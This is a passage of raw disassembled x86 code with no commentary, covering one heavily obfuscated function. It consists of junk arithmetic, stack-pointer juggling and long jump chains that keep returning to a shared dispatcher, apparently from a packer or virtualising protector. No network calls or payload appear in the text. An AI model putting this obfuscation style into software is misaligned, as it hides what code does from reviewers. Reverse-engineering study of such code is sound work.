sub_580566+AE57j mov [esp-3Ch+arg_34], eax push ebx mov ebx, 4F960C6Bh mov eax, ebx pop ebx shr eax, 4 shr eax, 3 push ebp mov ebp, 4C2249DAh xor eax, ebp mov ebp, [esp-38h+arg_30] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp-34h+arg_2C] jmp loc_58CFBB ; --------------------------------------------------------------------------- loc_58ED02: ; CODE XREF: sub_580566+E6F3j sub ebx, esi pop esi pop ebp jmp loc_58CFB2 ; --------------------------------------------------------------------------- loc_58ED0B: ; CODE XREF: sub_580566+8614j add edx, 4 jmp loc_58A105 ; --------------------------------------------------------------------------- loc_58ED16: ; CODE XREF: sub_580566+EB0Cj pop ebx add bl, 4Ah sub bl, ch sub bl, 4Ah pop ecx jmp loc_58C0DB ; --------------------------------------------------------------------------- loc_58ED25: ; CODE XREF: sub_580566+5CD2j mov edi, 5B7E3363h push ebp mov ebp, 717A1441h jmp loc_5853D4 ; --------------------------------------------------------------------------- loc_58ED35: ; CODE XREF: sub_580566+B207j push esi mov esi, 4 add ebx, esi jmp loc_58DB4D ; --------------------------------------------------------------------------- loc_58ED42: ; CODE XREF: sub_580566+4C92j xor ebp, esi pop esi mov ecx, 1A6319DEh sub ecx, 988138Ch jmp loc_5864C5 ; --------------------------------------------------------------------------- loc_58ED55: ; CODE XREF: sub_580566+C79Ej xchg eax, [esp-14h+arg_A+2] pop esp mov [esp-18h+arg_E+2], eax jmp loc_5863EB ; --------------------------------------------------------------------------- loc_58ED61: ; CODE XREF: sub_580566+7137j xchg eax, [esp+4+var_4] pop ebx and ebx, 9C24174h jmp loc_5849C9 ; --------------------------------------------------------------------------- loc_58ED70: ; CODE XREF: sub_580566+BEC2j push 4A64h mov [esp-0Ah+arg_4+2], ecx jmp loc_5857CE ; --------------------------------------------------------------------------- loc_58ED7D: ; CODE XREF: sub_580566+E0EBj push ebx jmp loc_58D8ED ; --------------------------------------------------------------------------- loc_58ED83: ; CODE XREF: sub_580566+7C9Bj add ebp, eax jmp loc_588A48 ; --------------------------------------------------------------------------- loc_58ED8A: ; CODE XREF: sub_580566+7A90j add edx, 1FF66179h sub edx, ecx sub edx, 1FF66179h xchg edx, ecx pop edx sub esp, 4 mov [esp+10h+var_10], ebp mov ebp, 4F6402D2h push 45C2h mov [esp+14h+var_14], esi push 1BC003CFh pop esi and ebp, esi pop esi push esi mov esi, 3D50594Ah sub esi, 4E895818h neg esi and esi, 1B305CE2h xor esi, 5E580F2h sub ebp, esi pop esi jmp loc_58CF4D ; --------------------------------------------------------------------------- loc_58EDDC: ; DATA XREF: sub_580566+3E06o push small word ptr [edx] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58EDE4: ; CODE XREF: sub_580566+5D86j neg eax push eax not [esp-24h+arg_1A+2] jmp loc_5891A9 ; --------------------------------------------------------------------------- loc_58EDEF: ; CODE XREF: sub_580566+D6E1j xchg eax, [esp-14h+arg_A+2] pop esp push edx mov edx, 435D319Eh xor edx, 56353A07h sub eax, edx pop edx push 13D6h mov [esp-14h+arg_A+2], ecx push edx push esi jmp loc_59055E ; --------------------------------------------------------------------------- loc_58EE11: ; CODE XREF: sub_580566+9DE9j mov [esp-14h+arg_A+2], eax mov al, 28h xor bl, al jmp loc_58C5D2 ; --------------------------------------------------------------------------- loc_58EE1D: ; CODE XREF: sub_580566+5263j add eax, 4 xchg eax, [esp+0] mov esp, [esp+0] push esi mov esi, esp push edx push esi push ecx mov ecx, 5C694C05h jmp loc_58DD00 ; --------------------------------------------------------------------------- loc_58EE36: ; CODE XREF: sub_580566+D19Fj push ecx mov ecx, esp add ecx, 4 push esi jmp loc_58FA55 ; --------------------------------------------------------------------------- loc_58EE45: ; CODE XREF: sub_580566+C86Dj push [esp+8+var_4] pop edi pop [esp+8+var_8] jmp loc_584C93 ; --------------------------------------------------------------------------- loc_58EE52: ; CODE XREF: sub_580566+8E82j add ecx, 4 xchg ecx, [esp-2Ch+arg_24] jmp loc_585412 ; --------------------------------------------------------------------------- loc_58EE5D: ; CODE XREF: sub_580566+456Bj push 38h pop ebx add ebx, edi jmp loc_58A7D6 ; --------------------------------------------------------------------------- loc_58EE6A: ; CODE XREF: sub_580566+7730j push eax mov eax, esp jmp loc_58AC9D ; --------------------------------------------------------------------------- loc_58EE72: ; DATA XREF: sub_580566+3D92o mov ax, word ptr [esp-30h+arg_28] push ebp mov ebp, esp jmp loc_58BACB ; --------------------------------------------------------------------------- loc_58EE7E: ; CODE XREF: sub_580566+ACEDj pop ecx mov eax, edx pop edx xor eax, 52A8494Eh jmp loc_58C050 ; --------------------------------------------------------------------------- loc_58EE8C: ; CODE XREF: sub_580566+4981j pop edx push ebx push small 0F59h mov word ptr [esp-12h+arg_A], cx mov cl, 5Bh mov bh, cl mov cx, word ptr [esp-12h+arg_A] push esi mov esi, esp add esi, 4 push edx mov edx, 2 add esi, edx pop edx push esi push [esp-0Ah+arg_8+2] pop esi pop [esp-0Ah+arg_4+2] pop esp sub al, 7 add al, bh add al, 7 push [esp-12h+arg_A] pop ebx push edi mov edi, esp add edi, 4 jmp loc_5891DF ; --------------------------------------------------------------------------- loc_58EED2: ; CODE XREF: sub_580566+730Dj mov esp, [esp-14h+arg_A+2] shr eax, 8 xor eax, ecx xor eax, ebx xor ebx, eax xor eax, ebx xchg edx, ebx push eax jmp loc_585B34 ; --------------------------------------------------------------------------- loc_58EEE8: ; CODE XREF: sub_580566+A715j mov [esp+2Ah+var_2C+2], eax push edx mov edx, 2 mov eax, edx pop edx sub ebx, 147D1062h add ebx, eax add ebx, 147D1062h pop eax xchg ebx, [esp+26h+var_28+2] jmp loc_58F91E ; --------------------------------------------------------------------------- loc_58EF0B: ; CODE XREF: sub_580566+D9CCj push ecx mov ecx, 59CE224Dh or ecx, 398440C6h add ecx, 0E507A02h sub ecx, 75129284h mov esi, ecx jmp loc_589F4D ; --------------------------------------------------------------------------- loc_58EF2A: ; CODE XREF: sub_580566+587Aj add ebp, edx pop edx jmp loc_58D2F7 ; --------------------------------------------------------------------------- loc_58EF32: ; CODE XREF: sub_580566+AA8Bj push edx jmp loc_58E641 ; --------------------------------------------------------------------------- loc_58EF38: ; CODE XREF: sub_580566+F6A5j push ebp mov ebp, 4C3C49E1h add edx, 430604F7h sub edx, ebp sub esp, 4 mov [esp-18h+arg_E+2], edi jmp loc_58D38C ; --------------------------------------------------------------------------- loc_58EF54: ; CODE XREF: sub_580566+8161j inc ecx add ecx, 0C1AB88ADh and eax, ecx mov ecx, [esp-14h+arg_A+2] add esp, 4 or edx, eax jmp loc_58C324 ; --------------------------------------------------------------------------- loc_58EF6A: ; CODE XREF: sub_580566+6EBFj push dword ptr [edi+eax*4] push [esp-0Ah+arg_4+2] pop eax push ecx jmp loc_58F37A ; --------------------------------------------------------------------------- loc_58EF77: ; CODE XREF: sub_580566+A934j mov ebx, 2CBF2026h push edx mov edx, 311F3D21h and ebx, edx pop edx xor ebx, 91D2CA8h shr ebx, 6 sub ebx, 57B913ECh or ebx, 7A6B0A42h push esi push 5984504Fh pop esi add ebx, esi pop esi add edi, ebx pop ebx jmp loc_58B718 ; --------------------------------------------------------------------------- loc_58EFAC: ; DATA XREF: sub_580566+3C2Eo mov cx, [esp+0] jmp loc_58A147 ; --------------------------------------------------------------------------- loc_58EFB5: ; CODE XREF: sub_580566+9895j add dh, al mov eax, [esp-20h+arg_16+2] jmp loc_58C47C ; --------------------------------------------------------------------------- loc_58EFBF: ; CODE XREF: sub_580566+9150j xchg ecx, [esp-0Ah+arg_4+2] pop esp push ecx mov ecx, 4BC2665Bh add [esp-0Ah+arg_8+2], ecx pop ecx add [esp-0Eh+arg_8+2], eax sub [esp-0Eh+arg_8+2], 4BC2665Bh add [esp-0Eh+arg_8+2], 750E25AFh jmp loc_584473 ; --------------------------------------------------------------------------- loc_58EFE4: ; CODE XREF: sub_580566+C713j pop ebp jmp loc_58670F ; --------------------------------------------------------------------------- loc_58EFEA: ; CODE XREF: sub_580566+6E5Bj push ecx mov ch, 61h sub ch, 1Fh jmp loc_58AC02 ; --------------------------------------------------------------------------- loc_58EFF5: ; CODE XREF: sub_580566+668Aj mov ebx, 36ED5C21h mov ebp, ebx pop ebx push ebp pop ecx mov ebp, [esp-0Ch+arg_8] add esp, 4 add ebp, ecx jmp loc_58F1FA ; --------------------------------------------------------------------------- loc_58F00F: ; CODE XREF: sub_580566+101ACj push eax jmp loc_586A45 ; --------------------------------------------------------------------------- loc_58F015: ; CODE XREF: sub_580566+5B40j add ebp, edx pop edx push edx mov edx, 4 sub ebp, 35B12CC6h sub ebp, edx push ecx jmp loc_58B46C ; --------------------------------------------------------------------------- loc_58F02C: ; CODE XREF: sub_580566+62DAj mov eax, [esp-8+arg_4] push ebx mov ebx, esp add ebx, 4 jmp loc_58CCD8 ; --------------------------------------------------------------------------- loc_58F03D: ; CODE XREF: sub_580566+DD21j push ebp mov ebp, ecx jmp loc_588D2A ; --------------------------------------------------------------------------- loc_58F045: ; CODE XREF: sub_580566+6172j mov ah, 0BCh jmp loc_58B93C ; --------------------------------------------------------------------------- loc_58F04C: ; CODE XREF: sub_580566+F340j push edx push esp pop edx jmp loc_58970A ; --------------------------------------------------------------------------- loc_58F054: ; CODE XREF: sub_580566+802Ej pop ecx jmp loc_58567E ; --------------------------------------------------------------------------- loc_58F05A: ; CODE XREF: sub_580566+BE9Cj push edi mov edi, 5B9A7FA2h and edi, 40C8565Ch inc edi dec edi push edx jmp loc_590499 ; --------------------------------------------------------------------------- loc_58F06E: ; CODE XREF: sub_580566+E110j mov ch, 0CDh add ch, bh jmp loc_58ED16 ; --------------------------------------------------------------------------- loc_58F077: ; CODE XREF: sub_580566+D35Aj push ebx mov ebx, 751063CAh add ebx, 5DA45816h jmp loc_58EAA6 ; --------------------------------------------------------------------------- loc_58F088: ; CODE XREF: sub_580566+B875j shl ebx, 8 and ebx, 0D9C1835h add ebx, 0F37BE804h add ecx, ebx pop ebx xor ecx, [esp+28h+var_28] jmp loc_58CC28 ; --------------------------------------------------------------------------- loc_58F0A2: ; CODE XREF: sub_580566+4F9Ej push ecx mov cl, bl mov ah, cl jmp loc_59074F ; --------------------------------------------------------------------------- loc_58F0AC: ; CODE XREF: sub_580566+E5D6j add edi, 4 add edi, 4 xchg edi, [esp-34h+arg_2C] pop esp add edx, 54C51D17h add edx, ebx sub edx, 54C51D17h pop ebx sub edx, 2 xchg edx, [esp-3Ch+arg_34] pop esp mov word ptr [esp-40h+arg_38], cx jmp loc_58B0AF ; --------------------------------------------------------------------------- loc_58F0DB: ; CODE XREF: sub_580566+FD8Fj mov ebx, [esp-40h+arg_38] jmp loc_588382 ; --------------------------------------------------------------------------- loc_58F0E3: ; CODE XREF: sub_580566+5106j push ecx mov ecx, 36544DF9h sub ecx, 36544DF5h add edx, 1A612Eh add edx, ecx push ebx mov ebx, 1A612Eh sub edx, ebx pop ebx pop ecx xchg edx, [esp-14h+arg_A+2] pop esp push [esp-18h+arg_E+2] pop eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-14h+arg_A+2] pop esp mov [esp-18h+arg_E+2], esi mov esi, esp push ecx push 0DEB7B61h pop ecx sub ecx, 0D7D1067h add ecx, 8597BAEh shr ecx, 8 shl ecx, 8 xor ecx, 8C7E604h add esi, ecx push [esp-14h+arg_A+2] pop ecx jmp loc_58AE82 ; --------------------------------------------------------------------------- loc_58F148: ; CODE XREF: sub_580566+9953j add bl, 0B5h pop eax add bl, 0AFh add bl, al sub bl, 0AFh push 2E3Bh mov [esp+6+var_8+2], edx push 5DE2h jmp loc_58B288 ; --------------------------------------------------------------------------- loc_58F166: ; CODE XREF: sub_580566+62E2j push edx jmp loc_58518A ; --------------------------------------------------------------------------- loc_58F16C: ; CODE XREF: sub_580566+FC75j sub al, dh jmp loc_58FDC6 ; --------------------------------------------------------------------------- loc_58F173: ; CODE XREF: sub_580566+9030j xor [esp+0], ebx xor ebx, [esp+0] jmp loc_58FBF8 ; --------------------------------------------------------------------------- loc_58F17E: ; CODE XREF: sub_580566+61ACj mov [esp-4Eh+arg_44+2], edx push ebx mov ebx, 200D6678h mov edx, 200D667Ch jmp loc_5860A3 ; --------------------------------------------------------------------------- loc_58F191: ; CODE XREF: sub_580566+C23Ej and edi, 67015B8Eh push edx mov edx, 4BCE15DBh jmp loc_58CCE6 ; --------------------------------------------------------------------------- loc_58F1A2: ; CODE XREF: sub_580566+9591j push edx mov edx, 356306D4h mov esi, edx pop edx inc esi inc esi push ebx mov ebx, 493C7698h not ebx dec ebx jmp loc_58DB45 ; --------------------------------------------------------------------------- loc_58F1BB: ; CODE XREF: sub_580566+CD5Bj jmp loc_584473 ; --------------------------------------------------------------------------- loc_58F1C0: ; CODE XREF: sub_580566+8C04j and edi, 7C3752F3h dec edi jmp loc_58809D ; --------------------------------------------------------------------------- loc_58F1CC: ; CODE XREF: sub_580566+6E50j sub eax, 4B4A497Fh sub esp, 4 mov [esp-18h+arg_E+2], ebx jmp loc_58795F ; --------------------------------------------------------------------------- loc_58F1DF: ; DATA XREF: sub_580566+3E5Eo pop dword ptr [edx] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58F1E6: ; CODE XREF: sub_580566+6843j add esi, 0DB544BAh jmp loc_58B3C2 ; --------------------------------------------------------------------------- loc_58F1F1: ; CODE XREF: sub_580566+F4B0j mov ebp, edx pop edx dec ebp jmp loc_58D8CB ; --------------------------------------------------------------------------- loc_58F1FA: ; CODE XREF: sub_580566+EAA4j pop ecx xor ebp, 0A5222EDBh add esi, ebp pop ebp add esi, 4 push esi push [esp-14h+arg_E+2] jmp loc_5902B6 ; --------------------------------------------------------------------------- loc_58F214: ; DATA XREF: sub_580566+3D96o push [esp-30h+arg_28] jmp loc_58A23E ; --------------------------------------------------------------------------- loc_58F21C: ; CODE XREF: sub_580566+C541j sub ebp, 46452BF1h pop ebx xor ebp, [esp-34h+arg_2C] xor [esp-34h+arg_2C], ebp xor ebp, [esp-34h+arg_2C] mov esp, [esp-34h+arg_2C] mov edx, [esp-34h+arg_2C] push ecx mov ecx, esp push eax sub esp, 4 mov [esp-28h+arg_20], edi push 6BC41169h pop edi xchg ebp, edi not ebp xchg ebp, edi jmp loc_58EC78 ; --------------------------------------------------------------------------- loc_58F250: ; CODE XREF: sub_580566+9B26j push ecx mov ch, bh push eax jmp loc_58E84D ; --------------------------------------------------------------------------- loc_58F259: ; CODE XREF: sub_580566+A9E4j push 4E65h mov [esp-38h+arg_30], ebp mov ebp, 6D455A06h push esi mov esi, 1B4C311Fh jmp loc_58D272 ; --------------------------------------------------------------------------- loc_58F271: ; CODE XREF: sub_580566+DD98j add ecx, 701229D7h not ecx neg ecx inc ecx shr ecx, 4 jmp loc_588E20 ; --------------------------------------------------------------------------- loc_58F284: ; CODE XREF: sub_580566+E3F1j push ebp sub esp, 4 jmp loc_58F960 ; --------------------------------------------------------------------------- loc_58F290: ; CODE XREF: sub_580566+6DD9j add eax, 4 xchg eax, [esp-28h+arg_20] pop esp add ebx, 2 xor ebx, [esp-2Ch+arg_24] xor [esp-2Ch+arg_24], ebx xor ebx, [esp-2Ch+arg_24] pop esp inc byte ptr [esp-30h+arg_28] pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58F2AD: ; CODE XREF: sub_580566+C49Dj xor eax, [esp-20h+arg_16+2] jmp loc_5889E8 ; --------------------------------------------------------------------------- loc_58F2B5: ; CODE XREF: sub_580566+BA83j pop ebx xor al, 37h xor al, 0E3h jmp loc_589D8A ; --------------------------------------------------------------------------- loc_58F2BF: ; CODE XREF: sub_580566+C5A5j and eax, ebp pop ebp or eax, eax jz loc_58E34A push 5AB5h mov [esp-38h+arg_30], eax push 4B6Dh jmp loc_5889AE ; --------------------------------------------------------------------------- loc_58F2DC: ; CODE XREF: sub_580566+A1B2j mov edi, 1A881C04h jmp loc_58752C ; --------------------------------------------------------------------------- loc_58F2E6: ; CODE XREF: sub_580566+D8C1j or ah, 0E0h push ecx mov cl, 79h add cl, 19h sub ah, cl pop ecx mov ch, ah jmp loc_589DBD ; --------------------------------------------------------------------------- loc_58F2F9: ; CODE XREF: sub_580566+55A3j not byte ptr [esp-22h+arg_1A] pop edx xchg dl, ah xor ah, 5Eh or ah, 56h jmp loc_58588E ; --------------------------------------------------------------------------- loc_58F30A: ; CODE XREF: sub_580566+DF4Ej not dx push small 4D7Eh mov word ptr [esp-2Eh+arg_24+2], dx push small word ptr [esp-2Eh+arg_28] mov dx, word ptr [esp-2Ch+arg_24] push ebx mov ebx, esp push ecx jmp loc_58E147 ; --------------------------------------------------------------------------- loc_58F327: ; CODE XREF: sub_580566+8D14j mov ecx, 4 jmp loc_584A5E ; --------------------------------------------------------------------------- loc_58F331: ; CODE XREF: sub_580566+EFE6j pop edi sub eax, ebx jmp loc_58FEA0 ; --------------------------------------------------------------------------- loc_58F339: ; CODE XREF: sub_580566+42CCj add bx, 3BA2h pop ax jmp loc_5852E0 ; --------------------------------------------------------------------------- loc_58F345: ; CODE XREF: sub_580566+6962j pop esp mov [esp-0Ah+arg_4+2], edx jmp loc_58E6A1 ; --------------------------------------------------------------------------- loc_58F34E: ; CODE XREF: sub_580566+74C7j add esp, 4 add edi, esi pop esi xor edi, [esp-12h+arg_A] xor [esp-12h+arg_A], edi xor edi, [esp-12h+arg_A] mov esp, [esp-12h+arg_A] mov ax, word ptr [esp-12h+arg_A] sub esp, 4 jmp loc_58E0AE ; --------------------------------------------------------------------------- loc_58F372: ; CODE XREF: sub_580566+6DAEj add esi, 4 jmp loc_588736 ; --------------------------------------------------------------------------- loc_58F37A: ; CODE XREF: sub_580566+EA0Cj push esp mov ecx, [esp+0] jmp loc_58D0D4 ; --------------------------------------------------------------------------- loc_58F383: ; CODE XREF: sub_580566+C9EAj add eax, ecx mov ecx, [esp+14h+var_14] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_584BCB ; --------------------------------------------------------------------------- loc_58F399: ; CODE XREF: sub_580566+630Ej mov ecx, 1EDB4A08h mov ebx, 1EDB4A0Ch sub ebx, ecx jmp loc_5897FB ; --------------------------------------------------------------------------- loc_58F3AA: ; CODE XREF: sub_580566+E597j sub edi, ecx pop ecx pop eax xchg edi, [esp-24h+arg_1A+2] mov esp, [esp-24h+arg_1A+2] movsx ecx, al push 26Dh mov [esp-20h+arg_16+2], ecx jmp loc_584473 ; --------------------------------------------------------------------------- loc_58F3C4: ; CODE XREF: sub_580566+9664j xor [esp-34h+arg_2C], ecx xor ecx, [esp-34h+arg_2C] pop esp jmp loc_584473 ; --------------------------------------------------------------------------- loc_58F3D0: ; CODE XREF: sub_580566+D935j pop edx xor ebp, 2B5D1747h jmp loc_5862B7 ; --------------------------------------------------------------------------- loc_58F3DC: ; CODE XREF: sub_580566+BDC3j push ebx jmp loc_59064F ; --------------------------------------------------------------------------- loc_58F3E2: ; CODE XREF: sub_580566+432Ej push 1698h mov [esp-1Eh+arg_16], ecx jmp loc_58F93D ; --------------------------------------------------------------------------- loc_58F3EF: ; CODE XREF: sub_580566+45BEj shr eax, 8 xor eax, 0C5E8581h sub eax, 35390D72h jmp loc_588669 ; --------------------------------------------------------------------------- loc_58F401: ; CODE XREF: sub_580566+5134j pop esi pop [esp-8+arg_4] pop esp jmp loc_584473 ; --------------------------------------------------------------------------- loc_58F40B: ; CODE XREF: sub_580566+F117j xor ch, 8 shr ch, 5 shl ch, 1 add ch, 0F3h add dh, ch jmp loc_58537F ; --------------------------------------------------------------------------- loc_58F41D: ; CODE XREF: sub_580566+C25Ej mov esp, [esp-3Ch+arg_34] push [esp-3Ch+arg_34] jmp loc_586DEA ; --------------------------------------------------------------------------- loc_58F428: ; CODE XREF: sub_580566+6CA5j mov edx, esp jmp loc_58F4C3 ; --------------------------------------------------------------------------- loc_58F42F: ; CODE XREF: sub_580566+C0D4j pop eax push edi push ebx mov ebx, 61B14697h not ebx neg ebx and ebx, 6F875163h neg ebx xor ebx, 91AEAA23h mov edi, ebx pop ebx jmp loc_58D81D ; --------------------------------------------------------------------------- loc_58F451: ; CODE XREF: sub_580566+B892j add esp, 4 push eax mov eax, 4 add ebp, eax jmp loc_586ED2 ; --------------------------------------------------------------------------- loc_58F464: ; CODE XREF: sub_580566+C175j add eax, 77645282h pop esi xchg eax, [esp+0] pop esp bswap eax jmp loc_58D693 ; --------------------------------------------------------------------------- loc_58F475: ; CODE XREF: sub_580566+F35Cj pop eax mov ebp, [esp-0Ah+arg_4+2] sub esp, 4 mov [esp+0], ecx mov ecx, esp push edx jmp loc_589DD4 ; --------------------------------------------------------------------------- loc_58F48A: ; CODE XREF: sub_580566+AD5Dj push 79E3h mov [esp-4Ah+arg_40+2], edi mov edi, 4 jmp loc_58905F ; --------------------------------------------------------------------------- loc_58F49C: ; CODE XREF: sub_580566+66F0j pop esp push eax mov eax, esp add eax, 4 sub eax, 4 xor eax, [esp-8+arg_4] xor [esp-8+arg_4], eax xor eax, [esp-8+arg_4] pop esp mov [esp-0Ch+arg_8], esi push ecx push 4ACB1324h mov ecx, [esp+0] jmp loc_58C9AA ; --------------------------------------------------------------------------- loc_58F4C3: ; CODE XREF: sub_580566+EEC4j add edx, 4 add edx, 4 xor edx, [esp-28h+arg_20] xor [esp-28h+arg_20], edx jmp loc_58C16A ; --------------------------------------------------------------------------- loc_58F4D7: ; CODE XREF: sub_580566+8443j mov [esp-18h+arg_E+2], esi push [esp-18h+arg_12+2] pop esi pop [esp-18h+arg_E+2] jmp loc_58804A ; --------------------------------------------------------------------------- loc_58F4E7: ; CODE XREF: sub_580566+94CDj add edi, ecx pop ecx push ecx mov ecx, 2 jmp loc_58F56D ; --------------------------------------------------------------------------- loc_58F4F5: ; CODE XREF: sub_580566+CC54j push ebx mov ebx, 884233Ah inc ebx add ebx, 600916A6h and ecx, ebx pop ebx jmp loc_589DE0 ; --------------------------------------------------------------------------- loc_58F50A: ; CODE XREF: sub_580566+AD89j mov edx, [esp-0Ch+arg_8] jmp loc_58A354 ; --------------------------------------------------------------------------- loc_58F512: ; CODE XREF: sub_580566+FB5Ej mov [esp-0Ch+arg_8], edx mov edx, 4 mov ecx, edx pop edx add esi, ecx jmp loc_587F2F ; --------------------------------------------------------------------------- loc_58F524: ; DATA XREF: sub_580566+3D2Eo mov ax, word ptr [esp-30h+arg_28] jmp loc_586399 ; --------------------------------------------------------------------------- loc_58F52D: ; CODE XREF: sub_580566+C1BBj sub ebp, esi pop esi pop ecx push ebp push [esp-3Ch+arg_38] jmp loc_589F7D ; --------------------------------------------------------------------------- loc_58F53B: ; CODE XREF: sub_580566+48B0j mov esi, 4 add ebp, esi jmp loc_58F86E ; --------------------------------------------------------------------------- loc_58F547: ; CODE XREF: sub_580566+877Aj add eax, 54A94210h jmp loc_58F331 ; --------------------------------------------------------------------------- loc_58F551: ; CODE XREF: sub_580566+E2E2j add bx, ax pop ax pop edx sub bx, 2D51h sub bx, ax push bp mov bp, 2D51h add bx, bp jmp loc_587CDD ; --------------------------------------------------------------------------- loc_58F56D: ; CODE XREF: sub_580566+EF8Aj add edi, 1C9C437Ch add edi, ecx sub edi, 1C9C437Ch mov ecx, [esp-46h+arg_3C+2] add esp, 4 xor edi, [esp-4Ah+arg_40+2] jmp loc_58C23B ; --------------------------------------------------------------------------- loc_58F58C: ; CODE XREF: sub_580566+FEE7j sub dl, 0FFh push ebx jmp loc_590101 ; --------------------------------------------------------------------------- loc_58F595: ; DATA XREF: sub_580566+3E32o mov ax, word ptr [esp-30h+arg_28] push ebp mov ebp, esp add ebp, 4 push 25C1h mov [esp-28h+arg_20], esi push ebx jmp loc_58DCD1 ; --------------------------------------------------------------------------- loc_58F5B0: ; CODE XREF: sub_580566+F312j push ebp push [esp-20h+arg_1A+2] pop ebp pop [esp-20h+arg_16+2] mov esp, [esp-24h+arg_1A+2] jmp loc_58919C ; --------------------------------------------------------------------------- loc_58F5C1: ; CODE XREF: sub_580566+ACDAj shl edi, 8 neg edi add edi, 0BD616660h mov ebx, edi jmp loc_59015C ; --------------------------------------------------------------------------- loc_58F5D3: ; CODE XREF: sub_580566+401Ej mov ebp, [esp-24h+arg_1A+2] jmp loc_5889B6 ; --------------------------------------------------------------------------- loc_58F5DB: ; CODE XREF: sub_580566+6CBDj xor ebp, 78FB22A7h push ebx mov ebx, 75F28D2h xor ebp, ebx pop ebx sub edi, ebp pop ebp pop ebx movzx eax, al push dword ptr [edi+eax*4] jmp loc_5903F6 ; --------------------------------------------------------------------------- loc_58F5F9: ; CODE XREF: sub_580566+41C7j add edi, 66216165h push eax mov eax, 4911E4EBh sub edi, eax pop eax xor esi, edi pop edi add ebx, 5B466E1Fh sub ebx, esi sub ebx, 5B466E1Fh pop esi xor eax, ebx mov ebx, [esp+0Ch+var_C] jmp loc_58D7AB ; --------------------------------------------------------------------------- loc_58F624: ; CODE XREF: sub_580566+A8A0j mov [esp+0], esp add dword ptr [esp+0], 4 jmp loc_58BC2E ; --------------------------------------------------------------------------- loc_58F633: ; CODE XREF: sub_580566+535Cj push [esp-16h+arg_12] jmp loc_58C7F0 ; --------------------------------------------------------------------------- loc_58F63C: ; CODE XREF: sub_580566+ACB1j xor ch, byte ptr [esp-8+arg_4] xor byte ptr [esp-8+arg_4], ch jmp loc_584473 ; --------------------------------------------------------------------------- loc_58F647: ; CODE XREF: sub_580566+FD60j mov ecx, 0D17157Ah and ecx, 5FB06126h sub ecx, 0D10011Eh jmp loc_588811 ; --------------------------------------------------------------------------- loc_58F65D: ; DATA XREF: sub_580566+3C7Eo push dword ptr [esp+0] pop eax push ebx mov ebx, esp push ebp jmp loc_5885C7 ; --------------------------------------------------------------------------- loc_58F66A: ; CODE XREF: sub_580566+5B57j add bl, 61h add bl, al sub bl, 61h push edx jmp loc_5870B9 ; --------------------------------------------------------------------------- loc_58F678: ; CODE XREF: sub_580566+541Aj mov dh, 2Eh push ecx mov ch, 68h jmp loc_58F40B ; --------------------------------------------------------------------------- loc_58F682: ; CODE XREF: sub_580566+3F89j mov ecx, ebp pop ebp add edx, 3BF714Ah add edx, ecx sub edx, 3BF714Ah pop ecx push 4D3h jmp loc_58A471 ; --------------------------------------------------------------------------- loc_58F69E: ; CODE XREF: sub_580566+BF48j mov cl, 24h shl cl, 4 neg cl push eax mov ah, 0BCh and ah, 50h xor ah, 87h shr ah, 4 jmp loc_58A21C ; --------------------------------------------------------------------------- loc_58F6B6: ; CODE XREF: sub_580566+4139j add esp, 4 jmp loc_58C19A ; --------------------------------------------------------------------------- loc_58F6C1: ; CODE XREF: sub_580566+9BEDj push edx push esp push [esp+4+var_4] mov edx, [esp+8+var_8] add esp, 4 add esp, 4 jmp loc_5867F6 ; --------------------------------------------------------------------------- loc_58F6DA: ; CODE XREF: sub_580566+E1F6j push 2049h mov [esp-32h+arg_28+2], ebp jmp loc_58885C ; --------------------------------------------------------------------------- loc_58F6E7: ; CODE XREF: sub_580566+D810j push 2A2Bh jmp loc_58B2BE ; --------------------------------------------------------------------------- loc_58F6F1: ; CODE XREF: sub_580566+7235j push ebx mov bl, cl jmp loc_590119 ; --------------------------------------------------------------------------- loc_58F6F9: ; CODE XREF: sub_580566+AD9Fj mov ecx, ebp mov ebp, [esp+0] add esp, 4 sub ebp, ecx pop ecx add ebp, edx add ebp, 6DB30435h jmp loc_58DAD2 ; --------------------------------------------------------------------------- loc_58F711: ; CODE XREF: sub_580566+F54Cj shr ebx, 6 sub ebx, 3D78328h sub ecx, ebx pop ebx jmp loc_588803 ; --------------------------------------------------------------------------- loc_58F722: ; CODE XREF: sub_580566+6699j add edx, 786B36AEh jmp loc_58D23B ; --------------------------------------------------------------------------- loc_58F72D: ; CODE XREF: sub_580566+A86Cj mov ecx, 4 add esi, ecx jmp loc_58DC77 ; --------------------------------------------------------------------------- loc_58F739: ; CODE XREF: sub_580566+9109j pop eax push ebx push esp pop ebx add ebx, 4 jmp loc_589A5C ; --------------------------------------------------------------------------- loc_58F748: ; CODE XREF: sub_580566+624Ej pop ecx push eax mov eax, 2EFC25DEh add [esp-4+arg_8], eax jmp loc_585B58 ; --------------------------------------------------------------------------- loc_58F758: ; DATA XREF: sub_580566+3C3Eo push dword ptr [esp+0] pop ecx push 6AA4h mov [esp+0], ecx mov ecx, esp push eax mov eax, 4 jmp loc_58A894 ; --------------------------------------------------------------------------- loc_58F771: ; CODE XREF: sub_580566+83E3j mov ebp, 34626879h push eax mov eax, 500B00E4h dec eax xor eax, 31477C9Fh neg eax jmp loc_58A967 ; --------------------------------------------------------------------------- loc_58F789: ; CODE XREF: sub_580566+9140j add ebp, edi mov edi, [esp-0Ah+arg_4+2] add esp, 4 sub ebp, 4 xchg ebp, [esp-0Eh+arg_8+2] mov esp, [esp-0Eh+arg_8+2] mov [esp-0Eh+arg_8+2], ebx mov ebx, 23E60310h add ebx, 31DA497Eh dec ebx push ebp mov ebp, 4E4A7B4Ch and ebp, 5DC4084Dh shl ebp, 5 or ebp, 400D08AFh xor ebp, 9DCD4523h sub ebx, ebp pop ebp jmp loc_58C455 ; --------------------------------------------------------------------------- loc_58F7CC: ; CODE XREF: sub_580566+A2F4j mov [esp-24h+arg_1A+2], esp push ecx mov ecx, 4 add [esp-20h+arg_1A+2], ecx pop ecx mov edi, [esp-24h+arg_1A+2] push eax mov eax, esp add eax, 4 jmp loc_58C607 ; --------------------------------------------------------------------------- loc_58F7EA: ; CODE XREF: sub_580566+A440j push ecx mov ecx, 0E5D43ACh xor ecx, 0F19D7D61h add eax, ecx pop ecx add esi, eax pop eax jmp loc_584CEC ; --------------------------------------------------------------------------- loc_58F801: ; CODE XREF: sub_580566+943Bj push esi push esp pop esi push ecx mov ecx, 4 add esi, ecx pop ecx push ebp push esi mov esi, 48A6613Eh 